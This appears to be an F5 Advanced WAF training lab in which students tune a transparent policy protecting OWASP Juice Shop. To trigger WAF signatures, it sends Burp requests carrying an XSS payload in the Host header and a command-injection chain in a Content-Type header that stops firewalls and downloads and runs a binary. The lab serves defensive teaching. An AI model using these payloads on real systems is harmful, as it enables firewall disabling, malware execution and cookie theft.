Exercise 4.1: Transparent Policy

Objective

We created a transparent policy way back in Lab 1 to configure Geolocation enforcement & Layer 7 XFF inspection for IPI. We then tested out the Threat Campaign signatures in Lab 3 and now we will explore and test some of the other components that should be in scope for enforcement early on in your WAF deployment.

• Review Learning & Blocking & Policy Building Process settings
• Implement HTTP Protocol Compliancy checks and test
• Test with a HTTP Protocol violation plus XSS attack
• Enable Server Technologies & Attack Signatures
• Review Reporting
• Estimated time for completion 30 minutes.

Learning & Blocking

Recall from Lab 1, that we used the Rapid Deployment Policy template to create our policy and we deployed it in manual learning mode. This means as violations and/or false positives occur, the system will make suggestions to modify the policy. The admin will manually evaluate the suggestions and Approve, Ignore or Delete them.

1. Navigate to Security > Application Security > Policy Building > Traffic Learning and notice that there are no “learning suggestions” displayed yet. So far, all of our site traffic has been generated by a malicious script so now it’s time to generate some real user traffic.
2. In the Chrome browser open a new tab, click on the OWASP Juiceshop bookmark in the Bookmarks Toolbar and accept the certificate warning. Browse around the site and perform several actions as a real user would.
3. In the top right of the site, click the Account Menu and select Login and then click Not yet a customer?.

4. Create an account using “f5student@f5agility.com” for email and use the same password you’ve been using for the labs and pick whatever security question you like.
5. Click Register and then login to the Juice Shop.
6. Click back on the Advanced WAF GUI tab in your browser and refresh the traffic learning screen. If you navigated away or closed the tab, open a new one, login to Advanced WAF and go to: Security > Application Security > Policy Building > Traffic Learning.
7. You will see many Suggestions and a learning score that the system assigns based on how many times it has seen an occurence and from what source. You can Accept, Delete, Ignore or Export the suggestion.

Note

This is where it usually starts to get a little dicey for a first-time WAF admin. Always look very carefully at the suggested action before deciding on which action to take. It is also helpful to define a whitelist so that the policy can learn quicker and from known trusted sources. You generally do not want the system learning from random and/or hostile Internet traffic and making suggestions to relax the policy.

8. Notice that most of the learning suggestions involve enabling various HTTP protocol Compliance Checks.
9. Find and select the suggestion for Enable HTTP protocol compliance check - HTTP Check: No Host header in HTTP/1.1 request.
10. Review the Suggested Action and click Accept and Apply Policy.

11. What just happened and how do you see what changed by who and when? Audit Log of course!
12. Go to Security > Application Security > Audit > Log and review the most recent actions. You can see who, what and when every component within a policy was modified. (This step is not necessary but meant to draw your attention to the audit log)

13. Click on the Element Name (blue hyperlink) No Host header in HTTP/1.1 request This takes you to the Learning and Blocking Settings screen where the check was enabled.
14. Notice that by default in the Rapid Deployment Policy, learning is enabled for most of the common HTTP Protocol compliancy checks. Also notice that the Enable checkbox next to No Host header in HTTP/1.1 request is now checked.

15. Uncheck the Learn box for this violation then Save and Apply policy.
16. Open a new Terminal and send the following request. This request is being sent without a host header and should now raise a violation in our Event Log rather than a learning suggestion.

curl -k -H 'Host:' https://juiceshop.f5agility.com/

17. Review the Alarmed request in Security > Event Logs > Application > Requests.

18. To review, you just took a learning suggestion and accepted it to enable a protocol compliancy check and then you disabled future learning suggestions for this event. Violations are now alarmed in the Event Logs.
19. Go back to Security > Application Security > Policy Building > Traffic Learning You would now typically go through and enable all of the checks that the policy is recommending regarding http protocol compliance and evasion technique detection.

Note

Remember that your policy is safely in transparent mode so accepting suggestions and enabling checks will only raise alarms and no blocking actions will occur. This is why it is very important to start off transparently until you fully understand the basics of managing a WAF policy.

False Positive Remediation

1. In Juice Shop click on any item and Write a review and click Submit
2. In Advanced WAF navigate to Security > Event Logs > Application > Requests and look for the Sev3 alert for the request going to rest/product/reviews.

3. Click Accept to allow a new method of Put in our policy. Click Apply Policy. Navigate to Security > Application Security > Headers > Methods and you will see our newly added “Allowed Method” of Put.

4. In a new browser tab, make sure you are logged in to JuiceShop and leave another review for Apple Juice.
5. Review the request in Security > Event Logs > Application > Requests.

Note

Put is not a default allowed method in a Rapid Deployment Policy. Working through learning suggestions and false-positives is an essential part of policy development and should occur as early as possible during software development and testing. It IS NOT best-practice to wait until the site is in production before bolting on a WAF policy as an after-thought.

Policy Building Process

One thing you can do to greatly increase the integrity of the learning suggestions is, define trusted IP’s. You can also tell the system to Only learn from trusted IP’s which is a very wise thing to do if you are developing policy on an app that is exposed to untrusted or Internet traffic.

1. Go to Security > Application Security > Policy Building > Learning and Blocking Settings and expand the Policy Building Process section at the bottom. Change the view from Basic to Advanced. Here you can see settings that this particular policy is using for learning. Notice that Trusted IP Addresses List is empty.
2. Click the little window/arrow icon next to Trusted IP Addresses List is empty.
3. This takes you to: Security > Application Security > Security Policies > Policies List > juiceshow_waf policy > IP Address Exceptions. Click Add.

4. For IP Address: 10.0.0.0 and for Netmask: 255.0.0.0. Check the box for Policy Builder trusted IP and click Create and Apply Policy.

5. Navigate back to Security > Application Security > Policy Building > Learning and Blocking Settings and expand the Policy Building Process section. Notice that our newly defined network is now a Trusted IP. This will greatly enhance the speed and quality of learning suggestions.
6. Change the view from Basic to Advanced and review all the fine-grained configurations for the Policy Building Process.

You now know how to define a trusted ip and configure the policy building process settings

Burp’ing the App

In this section we are going to use the free/community version of an excellent DAST tool; Burp. Unfortunately, the free version does not actually allow DAST but it is still an excellent tool for packet crafting and that’s exactly how we are going to use it.

Accept the Remaining Learning Suggestions

1. Go to Security > Application Security > Policy Building > Traffic Learning and select all of the remaining suggestions and click Accept > Accept suggestions and then Apply Policy.

HTTP Compliancy Check - Bad Host Header Value

The Bad Host Header Value check is an HTTP Parser Attack and definitely something that should be implemented as part of Good WAF Security. It was included in the suggestions you just accepted.

Risk: If we allow bad host header values they can be used to Fuzz web servers and gather system information. Successful exploitation of this attack could allow for the execution of XSS arbitrary code.

1. Launch Burp from the Desktop. Do Not click multiple times. It takes a few moments to load.

DO NOT update.

1. Choose Temporary Project and click Next and then click Start Burp.
2. Click the Repeater tab and paste in the following http request (Replace password with the password you’ve been using all along.) and click Send.
3. A popup window will appear to configure the target details. For host use: 10.1.10.145. For port use: 443. Check the Use HTTPS box.
4. Click Send

XSS in HOST Header

POST https://10.1.10.145/rest/user/login HTTP/1.1
User-Agent: BabyYoda
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Host: <script>alert(document.cookie);</script>

username=f5student&password=[password]

5. Back in Advanced WAF, browse to Security > Event Logs > Application > Requests and review the alert for this Sev5 attack. Note the alert severity is much higher (5) for this attack type due to several violations occuring including HTTP protocol Violations and several XSS signatures.
6. Review all the details and then click the 3 under the Attack Signature Detected violation to see all of the staged XSS Attack Signatures that were triggered.

Server Technologies & Attack Signatures

In this final exercise we will examine server technologies which allow you to automatically discover server-side frameworks, web servers and operating systems. This feature helps when the backend technologies are not well known or communicated from the Dev team.

1. Go to Security > Application Security > Policy Building > Learning and Blocking Settings > Attack Signatures
2. Review the Attack Signatures that were applied during policy creation from back in Lab 1. Generic Detection Signatures (High/Medium Accuracy). Notice that they are set to Learn/Alarm/Block and Staging is enabled.
3. Locate Server Technologies and expand the option. Click Enable Server Technology Detection, click Save and then click the New Window Icon next to Server Technologies.

4. This takes you to: Security > Application Security > Security Policies > juiceshop_waf > General Settings. Scroll down to Advanced Settings > Server Technologies and click in the box. Search for Linux since we know the server is running Linux.

The system will display a box describing which new signature sets will be applied. Click Confirm.

Make sure to Save and Apply Policy.

5. Go to Security > Application Security > Policy Building > Learning and Blocking Settings > Attack Signatures and notice the new Unix/Linux Server Technology signature sets that were added to the policy.

6. Click Change and review all of the additional Signature Sets that you can add manually add to a policy. Click Cancel

Framework Attacks

Back in BURP navigate to the repeater tab and adjust the payload to the following and hit Send. Replace password with the password you’ve been using all along

Framework Attack

POST https://10.1.10.145/rest/user/login HTTP/1.1
User-Agent: ImperialProbeDroid
Pragma: no-cache
Cache-Control: no-cache
Content-Type: /etc/init.d/iptables stop; service iptables stop; SuSEfirewall2 stop; reSuSEfirewall2 stop; cd /tmp; wget -c https://10.1.10.145:443/7; chmod 777 7; ./7;
Content-Length: 38
Host: DarthMaul

username=f5student&password=[password]

1. Browse to Security > Event Logs > Application > Requests and look for the most recent Sev5 Event. Select the event, review the violations and click the 2 under Occurrences for the Attack signature detected violation.
2. Click the little blue i and review the Attack Signature Details. We can see that this was a Systems based Unix/Linux Signature in staging mode.

We are now alerting on attacks aimed at Server Technologies.

Review Reporting

1. Navigate to Security > Reporting > Application > Charts and change the View By: to Ip Intelligence and review the chart.
2. Change the chart type from Absolute to Stacked
3. Change the View By: to Client IP Addresses

4. Change the Advanced Filter to: Top Alarmed URLs.
5. Change the Advanced Filter to: Top attacks in the last day and View By: to Client Countries.
6. Explore additional charts that you can generate and export.

7. Navigate to Security > Overview > Application > Traffic

8. Go to Security > Overview > OWASP Compliance and review the report. As you can see there is still much to do from a best-practices App-Sec perspective. For more information check out our OWASP 111 Lab which covers these categories in detail.

This completes Lab 4

Congratulations! It was a long road but you made it though and now have the knowledge to go forth and start testing. Given the Advanced WAF is a proxy, you could build a Virtual Edition F5 locally on your machine and implement a number of test scenarios with no impacts to a production application. Contact your friendly neighborhood F5 Solutions Engineer for more information!! Hope to see you in the 241 Elevated WAF Protection class! Cheers!!!